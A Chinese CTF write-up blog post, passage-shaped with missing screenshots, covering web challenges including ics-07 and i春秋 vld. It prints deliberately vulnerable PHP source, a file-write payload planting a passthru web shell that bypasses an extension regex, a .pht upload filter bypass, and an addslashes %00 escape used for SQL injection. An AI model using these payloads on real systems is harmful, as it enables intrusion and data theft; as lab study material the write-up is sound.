web

在这里插入图片描述
在这里插入图片描述
将flag的内容二次解码得到19295,post上去
在这里插入图片描述
写脚本
在这里插入图片描述
访问路径后,得到
在这里插入图片描述

在这里插入图片描述
得到验证码,这道题还有一个svn源码泄露
在这里插入图片描述
解密后访问http://9bc680b7ccdc46e385a74d53c50b3f5433924cf948764f31.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/7815696ecbf1c96e6894b779456d330e.php
得到一个文件上传的页面,直接上传一个pht文件后缀的文件(注意一些常用文件后缀的改写)

攻防世界(ics-07)
点进项目管理,查看源代码

 <!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>cetc7</title>
  </head>
  <body>
    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

    <form action="#" method="get">
      page : <input type="text" name="page" value="">
      id : <input type="text" name="id" value="">
      <input type="submit" name="submit" value="submit">
    </form>
    <br />
    <a href="index.phps">view-source</a>

    <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

  </body>
</html>

将源代码整理后大致是这样的情况,注意这个正则匹配,匹配的是所有.中出现的最后一个点
构造file=…/123.php/1.php/…&con=<?php passthru($_GET[bash]);?>
(注意先post提交一下bash这个参数,不能同时提交post和get,会提示路径不存在)
在这里插入图片描述
两种提交方式的顺序要搞清,最看查看源代码,得到flag

i春秋(vld)
在这里插入图片描述
上来先根据提示审计源码
在这里插入图片描述
观察这一部分代码,猜测这里需要传入3个参数,flag1,flag2,flag3
在这里插入图片描述
根据提示,下载源码
login.php
在这里插入图片描述
可能存在注入
在这里插入图片描述

对username进行了预处理,‘会被转义成’/’,这里利用一个知识点,%00会被addslashes函数转义为\0,当我们的number输入0,username输入1%00’,经过addslashes处理后,将会变成1\’,实现字符串逃逸,注意这里的number的值很关键,起到替换作用,接下来就可以进行注入了
在这里插入图片描述
我先是用常规的报错注入试了一下,发现报错信息,这还是第一次见
在这里插入图片描述
后来把0x7e改成任意数字发现便能成功,知道数据库名称是ctf,接下来查询数据表

在这里插入图片描述
因为进行了转义,所以我把ctf进行了16进制编码,依然不行,平常这样的就过了,换一种方式吧
在这里插入图片描述
以前都是直接用数据库名称的,记住这种方法
在这里插入图片描述
这里没想到查询列也能这样使用,不知道对所有查询适不适用,懒得测了,碰到再说
在这里插入图片描述
显示不全,这里我用的是substr函数进行筛选,过程贼麻烦,不过最后还是试出来了,flag一旦超过或小于它的范围之后均会异常耐心点

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值